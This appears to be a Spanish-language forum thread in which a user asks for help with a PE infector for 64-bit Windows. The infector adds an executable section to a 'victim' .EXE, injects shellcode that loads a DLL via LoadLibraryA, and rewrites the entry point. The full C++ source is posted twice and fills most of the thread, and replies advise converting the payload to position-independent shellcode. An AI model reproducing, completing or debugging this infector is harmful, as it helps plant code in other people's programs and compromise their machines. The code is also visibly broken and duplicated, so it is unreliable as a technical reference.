Hola buenos dias estoy desarrollando un programa informático que crea una sección nueva dentro del archivo .EXE y copia su propia seccion de texto donde esta su código en dicha seccion ademas cambiando el entrypoint del archivo remoto . Sin embargo el archivo infectado no se encuentra funcional . Que le puede faltar ? He investigado que además deberia guardar las llamadas API que voy a utilizar ¿Cómo lo hago? (es para 64 bits para windows 11) . Hecho y compilado en visual Studio 2022 [Enlace externo eliminado para invitados]
Copiar como tal la sección .text no va a funcionar ya que esta contiene datos y direcciones de memoria que han sido establecidos en tiempo de compilación (direcciones de las funciones importadas, etc). Debido a esto existe la sección .reloc para parchear estos valores en caso de que el pe no se cargue en la ImageBase predefinida.
Además puede darse el caso de que la nueva sección de código esté llamando funciones de librerías que no están cargadas ya que el pe original no las incluye en su IAT.
Por lo que para la técnica que quieres implementar (PE-infection) lo mejor es que transformes la sección .text que quieres inyectar en PIC (Position Independent Code) o shellcode.
Además puede darse el caso de que la nueva sección de código esté llamando funciones de librerías que no están cargadas ya que el pe original no las incluye en su IAT.
Por lo que para la técnica que quieres implementar (PE-infection) lo mejor es que transformes la sección .text que quieres inyectar en PIC (Position Independent Code) o shellcode.
he intentado con un shellcode mas simple para 64 bits pero sigue sin funcionar bien :-(
#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>
#include <string>
#include <filesystem>
#pragma pack(push, 1)
namespace fs = std::filesystem;
struct PEHeader {
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS64 ntHeaders;
};
#pragma pack(pop)
// Obtén la dirección de LoadLibrary y ajusta el shellcode
void AdjustShellcode(unsigned char* shellcode, size_t shellcodeSize) {
// Obtener la dirección de LoadLibraryA
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) {
std::cerr << "Error: No se pudo obtener el módulo kernel32.dll" << std::endl;
return;
}
FARPROC loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (!loadLibraryAddr) {
std::cerr << "Error: No se pudo obtener la dirección de LoadLibraryA" << std::endl;
return;
}
// Encuentra el offset de la instrucción "mov rax, LoadLibraryA_address_placeholder"
int addressPlaceholderOffset = 18; // Ajusta este valor si cambia el shellcode
// Copiar la dirección de LoadLibraryA en el shellcode
memcpy(shellcode + addressPlaceholderOffset, &loadLibraryAddr, sizeof(uintptr_t));
std::cout << "Dirección de LoadLibraryA: " << std::hex << (uintptr_t)loadLibraryAddr << std::endl;
}
// Utility function for error handling
void PrintError(const char* message) {
std::cerr << message << std::endl;
exit(EXIT_FAILURE);
}
// Function to locate the .text section of a PE file
DWORD GetTextSectionRVA(const std::string& filePath, DWORD& textSectionSize) {
std::ifstream file(filePath, std::ios::binary);
if (!file) {
PrintError("Cannot open file");
}
IMAGE_DOS_HEADER dosHeader;
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
if (!file) {
PrintError("Error reading DOS header");
}
file.seekg(dosHeader.e_lfanew, std::ios::beg);
IMAGE_NT_HEADERS ntHeaders;
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS));
if (!file) {
PrintError("Error reading PE header");
}
std::vector<IMAGE_SECTION_HEADER> sections(ntHeaders.FileHeader.NumberOfSections);
file.read(reinterpret_cast<char*>(sections.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
if (!file) {
PrintError("Error reading section headers");
}
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
if (strcmp(reinterpret_cast<const char*>(sections.Name), ".text") == 0) {
textSectionSize = sections.Misc.VirtualSize;
return sections.PointerToRawData;
}
}
PrintError(".text section not found");
return 0;
}
// Shellcode de 64 bits
const unsigned char shellcode = {
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
// Call a placeholder that will be adjusted with the actual address
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, LoadLibraryA_address_placeholder
0x48, 0x89, 0xC7, // mov rdi, rax (store the address of LoadLibraryA in rdi)
0x48, 0x8D, 0x15, 0x2A, 0x00, 0x00, 0x00, // lea rdx, [rip+42] ; offset to "C:\\windows\\system32\\pe.dll"
0x48, 0x31, 0xC0, // xor rax, rax (null-terminate the string)
0xFF, 0xD7, // call rdi (call LoadLibraryA)
// Clean up stack and restore registers
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0xC3, // ret (return to original entry point)
// Ruta a la DLL a cargar: "C:\\windows\\system32\\pe.dll"
'C', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'p', 'e', '.', 'd', 'l', 'l', 0x00
};
// Function to inject the shellcode into a PE file
void InjectShellcode(const std::string& victimFilePath, const std::string& outputFilePath, const unsigned char* shellcode, size_t shellcodeSize) {
std::ifstream file(victimFilePath, std::ios::binary);
if (!file) {
PrintError("Cannot open victim file");
}
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
std::vector<char> fileData(fileSize);
file.read(fileData.data(), fileSize);
file.close();
IMAGE_DOS_HEADER dosHeader;
std::memcpy(&dosHeader, fileData.data(), sizeof(IMAGE_DOS_HEADER));
IMAGE_NT_HEADERS64 ntHeaders;
std::memcpy(&ntHeaders, fileData.data() + dosHeader.e_lfanew, sizeof(IMAGE_NT_HEADERS64));
IMAGE_FILE_HEADER& fileHeader = ntHeaders.FileHeader;
IMAGE_OPTIONAL_HEADER64& optionalHeader = ntHeaders.OptionalHeader;
IMAGE_SECTION_HEADER* sections = reinterpret_cast<IMAGE_SECTION_HEADER*>(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64));
IMAGE_SECTION_HEADER& lastSection = sections[fileHeader.NumberOfSections - 1];
DWORD newSectionVirtualAddress = lastSection.VirtualAddress + ((lastSection.Misc.VirtualSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1));
DWORD newSectionPointerToRawData = lastSection.PointerToRawData + ((lastSection.SizeOfRawData + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
size_t newFileSize = newSectionPointerToRawData + ((shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
fileData.resize(newFileSize);
IMAGE_SECTION_HEADER newSection = {};
strncpy_s(reinterpret_cast<char*>(newSection.Name), sizeof(newSection.Name), ".self", _TRUNCATE);
newSection.Misc.VirtualSize = (shellcodeSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1);
newSection.VirtualAddress = newSectionVirtualAddress;
newSection.SizeOfRawData = (shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1);
newSection.PointerToRawData = newSectionPointerToRawData;
newSection.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
std::memcpy(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * fileHeader.NumberOfSections, &newSection, sizeof(newSection));
fileHeader.NumberOfSections++;
optionalHeader.SizeOfImage = newSection.VirtualAddress + newSection.Misc.VirtualSize;
// Crear una copia ajustable del shellcode
std::vector<unsigned char> adjustedShellcode(shellcode, shellcode + shellcodeSize);
AdjustShellcode(adjustedShellcode.data(), shellcodeSize);
std::memcpy(fileData.data() + newSection.PointerToRawData, adjustedShellcode.data(), adjustedShellcode.size());
optionalHeader.AddressOfEntryPoint = newSection.VirtualAddress;
std::memcpy(fileData.data() + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS64));
std::memcpy(fileData.data(), &dosHeader, sizeof(IMAGE_DOS_HEADER));
std::ofstream outFile(outputFilePath, std::ios::binary);
if (!outFile) {
PrintError("Cannot open output file");
}
outFile.write(fileData.data(), fileData.size());
std::cout << "Shellcode injected and entry point modified successfully." << std::endl;
}
int main(int argc, char* argv) {
if (argc < 3) {
std::cerr << "Usage: <victim file> <output file>" << std::endl;
return EXIT_FAILURE;
}
std::string victimFilePath = argv[1];
std::string outputFilePath = argv[2];
InjectShellcode(victimFilePath, outputFilePath, shellcode, sizeof(shellcode));
return EXIT_SUCCESS;
}
#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>
#include <string>
#include <filesystem>
#pragma pack(push, 1)
namespace fs = std::filesystem;
struct PEHeader {
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS64 ntHeaders;
};
#pragma pack(pop)
// Obtén la dirección de LoadLibrary y ajusta el shellcode
void AdjustShellcode(unsigned char* shellcode, size_t shellcodeSize) {
// Obtener la dirección de LoadLibraryA
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) {
std::cerr << "Error: No se pudo obtener el módulo kernel32.dll" << std::endl;
return;
}
FARPROC loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (!loadLibraryAddr) {
std::cerr << "Error: No se pudo obtener la dirección de LoadLibraryA" << std::endl;
return;
}
// Encuentra el offset de la instrucción "mov rax, LoadLibraryA_address_placeholder"
int addressPlaceholderOffset = 18; // Ajusta este valor si cambia el shellcode
// Copiar la dirección de LoadLibraryA en el shellcode
memcpy(shellcode + addressPlaceholderOffset, &loadLibraryAddr, sizeof(uintptr_t));
std::cout << "Dirección de LoadLibraryA: " << std::hex << (uintptr_t)loadLibraryAddr << std::endl;
}
// Utility function for error handling
void PrintError(const char* message) {
std::cerr << message << std::endl;
exit(EXIT_FAILURE);
}
// Function to locate the .text section of a PE file
DWORD GetTextSectionRVA(const std::string& filePath, DWORD& textSectionSize) {
std::ifstream file(filePath, std::ios::binary);
if (!file) {
PrintError("Cannot open file");
}
IMAGE_DOS_HEADER dosHeader;
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
if (!file) {
PrintError("Error reading DOS header");
}
file.seekg(dosHeader.e_lfanew, std::ios::beg);
IMAGE_NT_HEADERS ntHeaders;
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS));
if (!file) {
PrintError("Error reading PE header");
}
std::vector<IMAGE_SECTION_HEADER> sections(ntHeaders.FileHeader.NumberOfSections);
file.read(reinterpret_cast<char*>(sections.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
if (!file) {
PrintError("Error reading section headers");
}
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
if (strcmp(reinterpret_cast<const char*>(sections.Name), ".text") == 0) {
textSectionSize = sections.Misc.VirtualSize;
return sections.PointerToRawData;
}
}
PrintError(".text section not found");
return 0;
}
// Shellcode de 64 bits
const unsigned char shellcode = {
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
// Call a placeholder that will be adjusted with the actual address
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, LoadLibraryA_address_placeholder
0x48, 0x89, 0xC7, // mov rdi, rax (store the address of LoadLibraryA in rdi)
0x48, 0x8D, 0x15, 0x2A, 0x00, 0x00, 0x00, // lea rdx, [rip+42] ; offset to "C:\\windows\\system32\\pe.dll"
0x48, 0x31, 0xC0, // xor rax, rax (null-terminate the string)
0xFF, 0xD7, // call rdi (call LoadLibraryA)
// Clean up stack and restore registers
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0xC3, // ret (return to original entry point)
// Ruta a la DLL a cargar: "C:\\windows\\system32\\pe.dll"
'C', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'p', 'e', '.', 'd', 'l', 'l', 0x00
};
// Function to inject the shellcode into a PE file
void InjectShellcode(const std::string& victimFilePath, const std::string& outputFilePath, const unsigned char* shellcode, size_t shellcodeSize) {
std::ifstream file(victimFilePath, std::ios::binary);
if (!file) {
PrintError("Cannot open victim file");
}
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
std::vector<char> fileData(fileSize);
file.read(fileData.data(), fileSize);
file.close();
IMAGE_DOS_HEADER dosHeader;
std::memcpy(&dosHeader, fileData.data(), sizeof(IMAGE_DOS_HEADER));
IMAGE_NT_HEADERS64 ntHeaders;
std::memcpy(&ntHeaders, fileData.data() + dosHeader.e_lfanew, sizeof(IMAGE_NT_HEADERS64));
IMAGE_FILE_HEADER& fileHeader = ntHeaders.FileHeader;
IMAGE_OPTIONAL_HEADER64& optionalHeader = ntHeaders.OptionalHeader;
IMAGE_SECTION_HEADER* sections = reinterpret_cast<IMAGE_SECTION_HEADER*>(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64));
IMAGE_SECTION_HEADER& lastSection = sections[fileHeader.NumberOfSections - 1];
DWORD newSectionVirtualAddress = lastSection.VirtualAddress + ((lastSection.Misc.VirtualSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1));
DWORD newSectionPointerToRawData = lastSection.PointerToRawData + ((lastSection.SizeOfRawData + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
size_t newFileSize = newSectionPointerToRawData + ((shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
fileData.resize(newFileSize);
IMAGE_SECTION_HEADER newSection = {};
strncpy_s(reinterpret_cast<char*>(newSection.Name), sizeof(newSection.Name), ".self", _TRUNCATE);
newSection.Misc.VirtualSize = (shellcodeSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1);
newSection.VirtualAddress = newSectionVirtualAddress;
newSection.SizeOfRawData = (shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1);
newSection.PointerToRawData = newSectionPointerToRawData;
newSection.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
std::memcpy(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * fileHeader.NumberOfSections, &newSection, sizeof(newSection));
fileHeader.NumberOfSections++;
optionalHeader.SizeOfImage = newSection.VirtualAddress + newSection.Misc.VirtualSize;
// Crear una copia ajustable del shellcode
std::vector<unsigned char> adjustedShellcode(shellcode, shellcode + shellcodeSize);
AdjustShellcode(adjustedShellcode.data(), shellcodeSize);
std::memcpy(fileData.data() + newSection.PointerToRawData, adjustedShellcode.data(), adjustedShellcode.size());
optionalHeader.AddressOfEntryPoint = newSection.VirtualAddress;
std::memcpy(fileData.data() + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS64));
std::memcpy(fileData.data(), &dosHeader, sizeof(IMAGE_DOS_HEADER));
std::ofstream outFile(outputFilePath, std::ios::binary);
if (!outFile) {
PrintError("Cannot open output file");
}
outFile.write(fileData.data(), fileData.size());
std::cout << "Shellcode injected and entry point modified successfully." << std::endl;
}
int main(int argc, char* argv) {
if (argc < 3) {
std::cerr << "Usage: <victim file> <output file>" << std::endl;
return EXIT_FAILURE;
}
std::string victimFilePath = argv[1];
std::string outputFilePath = argv[2];
InjectShellcode(victimFilePath, outputFilePath, shellcode, sizeof(shellcode));
return EXIT_SUCCESS;
}
Se produce alguna excepción en el binario una vez le has inyectado la shellcode? Si es así, cuándo se produce?
Has probado a debuggear?
Has probado a debuggear?